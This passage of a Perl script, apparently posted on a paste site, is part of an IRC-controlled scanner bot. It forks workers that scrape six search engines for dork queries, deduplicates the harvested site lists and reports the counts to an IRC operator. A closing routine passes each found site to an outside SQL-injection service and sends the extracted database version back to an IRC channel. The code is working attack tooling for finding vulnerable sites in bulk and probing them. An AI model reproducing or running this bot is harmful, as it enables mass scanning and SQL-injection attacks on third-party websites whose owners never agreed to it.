  685.         &respond_to_privmsg($data," 15[ 7ASK.COM 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  686.         &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  687.         exit(0);
  688.     }
  689.  
  690.     $pids_array[5] = fork();
  691.     if($pids_array[5] == 0)
  692.     {
  693.         @data_links = &webcrawler($dork);
  694.         &respond_to_privmsg($data," 15[ 7WEBCRAWLER 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  695.         &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  696.         exit(0);
  697.     }
  698.    
  699.     foreach my $pid_one ( @pids_array )
  700.     {
  701.         waitpid($pid_one,0);
  702.     }
  703.    
  704.     @site_finded = &read_all_file_array($tmp_file_name);
  705.     &respond_to_privmsg($data," 15[ 7INFO 15] 12 TOTAL SITES FINDED: ".scalar(@site_finded)." ");
  706.     @site_cleaned = &unique(@site_finded);
  707.     &respond_to_privmsg($data," 15[ 7INFO 15] 12 CLEANED SITES FINDED: ".scalar(@site_cleaned)." ");
  708.     unlink($tmp_file_name);
  709.     return(@site_cleaned);
  710. }
  711.  
  712. sub canghecmd()
  713. {
  714.     my $n = $_[0];
  715.     push(@botcmd,$n);
  716. }
  717.  
  718. sub read_all_file_array()
  719. {
  720.     my $file = $_[0];
  721.     my @ret  = ();
  722.  
  723.     open(FILE,'<',$file);
  724.     while($a = <FILE>)
  725.     {
  726.         $a =~ s/[\r\n]//g;
  727.         push(@ret,$a);
  728.     }
  729.     close(FILE);
  730.    
  731.     return(@ret);
  732. }
  733.  
  734. sub write_to_file_array()
  735. {
  736.     my ($file,$data,$scal) = @_;
  737.     for($i = 0; $i < $scal; $i++)
  738.     {
  739.         &write_to_file($file,$data->[$i]);
  740.     }
  741. }
  742.  
  743. sub write_to_file()
  744. {
  745.     my($file,$data) = @_;
  746.     open(FILE,'>>',$file);
  747.     print FILE $data . "\n";
  748.     close(FILE);
  749. }
  750.  
  751. sub google()
  752. {
  753.     my $dork    = &urlencode($_[0]);
  754.     my $html    = "";
  755.     my @results = ();
  756.     my @unique_links = ();
  757.    
  758.     for($i = 0; $i < 300; $i += 100)
  759.     {
  760.         $html .= &http_request("http://www.google.it/search?q=".$dork."&hl=it&pwst=1&start=".$i."&num=100&sa=N");
  761.     }
  762.    
  763.     while($html =~ m/<li class=g><h3 class=r><a href=\"http:\/\/(.+?)\" class=l/g)
  764.     {
  765.         my @tmp_link = &get_all_host($1);
  766.         push(@results,@tmp_link);
  767.     }
  768.    
  769.     @unique_links = &unique(@results);
  770.  
  771.     return(@unique_links);
  772. }
  773.  
  774. sub altavista()
  775. {
  776.     my $dork    = &urlencode($_[0]);
  777.     my $html    = "";
  778.     my @results = ();
  779.     my @unique_links = ();
  780.    
  781.     for($i = 0; $i < 1000; $i += 10)
  782.     {
  783.         $html .= &http_request("http://www.altavista.com/web/results?itag=ody&kgs=0&kls=0&q=".$dork."&stq=".$i);
  784.     }
  785.    
  786.     while($html =~ m/<span class=ngrn>(.+?) <\/span>/g)
  787.     {
  788.         my @tmp_link = &get_all_host($1);
  789.         push(@results,@tmp_link);
  790.     }
  791.    
  792.     @unique_links = &unique(@results);
  793.  
  794.     return(@unique_links);
  795. }
  796.  
  797. sub yahoo()
  798. {
  799.     my $dork    = &urlencode($_[0]);
  800.     my $html    = "";
  801.     my @results = ();
  802.     my @unique_links = ();
  803.    
  804.     for($i = 0; $i < 1000; $i += 100)
  805.     {
  806.         $html .= &http_request("http://search.yahooapis.com/WebSearchService/V1/webSearch?appid=SiteSearch&query=".$dork."&results=100&start=".$i);
  807.     }
  808.    
  809.     while($html =~ m/<Url>http:\/\/(.+?)\<\/Url>/g)
  810.     {
  811.         my $link = $1;
  812.         if($link !~ /yahoo/)
  813.         {
  814.             my @tmp_link = &get_all_host($link);
  815.             push(@results,@tmp_link);
  816.         }
  817.     }
  818.    
  819.     @unique_links = &unique(@results);
  820.  
  821.     return(@unique_links);
  822. }
  823.  
  824. sub msn()
  825. {
  826.     my $dork    = &urlencode($_[0]);
  827.     my $html    = "";
  828.     my @results = ();
  829.     my @unique_links = ();
  830.    
  831.     for($i = 0; $i < 1000; $i += 10)
  832.     {
  833.         $html .= &http_request("http://www.bing.com/search?q=".$dork."&first=".$i."&FORM=PERE");
  834.     }
  835.    
  836.     while($html =~ m/<a href=\"http:\/\/(.+?)\" onmousedown/g)
  837.     {
  838.         my @tmp_link = &get_all_host($1);
  839.         push(@results,@tmp_link);
  840.     }
  841.    
  842.     @unique_links = &unique(@results);
  843.  
  844.     return(@unique_links);
  845. }
  846.  
  847. sub ask()
  848. {
  849.     my $dork    = &urlencode($_[0]);
  850.     my $html    = "";
  851.     my @results = ();
  852.     my @unique_links = ();
  853.    
  854.     for($i = 0; $i < 9; $i += 1)
  855.     {              
  856.         $html .= &http_request("http://it.ask.com/web?q=".$dork."&o=312&l=dir&qsrc=0&dm=all&page=".$i);
  857.     }
  858.    
  859.     while($html =~ m/class=\"L4\" href=\"(.+?)\" onmousedown/g)
  860.     {
  861.         my @tmp_link = &get_all_host($1);
  862.         push(@results,@tmp_link);
  863.     }
  864.    
  865.     @unique_links = &unique(@results);
  866.  
  867.     return(@unique_links);
  868. }
  869.  
  870.  
  871. sub webcrawler()
  872. {
  873.     my $dork    = &urlencode($_[0]);
  874.     my $html    = "";
  875.     my @results = ();
  876.     my @unique_links = ();
  877.    
  878.     for($i = 0; $i < 100; $i += 10)
  879.     {              
  880.         $html .= &http_request("http://www.webcrawler.com/webcrawler/ws/results/Web/".$dork."/3/0/0/Relevance/zoom=off/qi=".$i."/qk=20/bepersistence=true/_iceUrlFlag=7?_IceUrl=true");
  881.     }
  882.    
  883.     while($html =~ m/target=\"_blank\">(.+?)<\/a>/g)
  884.     {
  885.         my @tmp_link = &get_all_host($1);
  886.         push(@results,@tmp_link);
  887.     }
  888.    
  889.     @unique_links = &unique(@results);
  890.  
  891.     return(@unique_links);
  892. }
  893.  
  894. sub racchiudi
  895. {
  896. chomp($website);
  897. chop($website);
  898. my $website = shift;
  899. my $agent = WWW::Mechanize->new( autocheck => 1 );
  900. my $formfiller = WWW::Mechanize::FormFiller->new();
  901. $agent->env_proxy();
  902.  
  903.   $agent->get("http://nubiescript.com/demo/sqlinject/?mysql=1&vuln=1&link=$website");
  904.    $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  905.   $agent->submit();
  906. print "ecco: $website--\n";
  907. if ($agent->content() =~/Version\: \<font color\=red\>(.*?)<\/font>/) {
  908.                 &respond_to_privmsg(\%msg," 15[ 7SERViCES 15] 12 Version: ".$1." ");
  909. print "versione ".$1." ";
  910. }else{
  911. $irc_socket->write("PRIVMSG ".$chans[1].": Impossibile cliccare su $website \r\n");
  912. }
  913. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement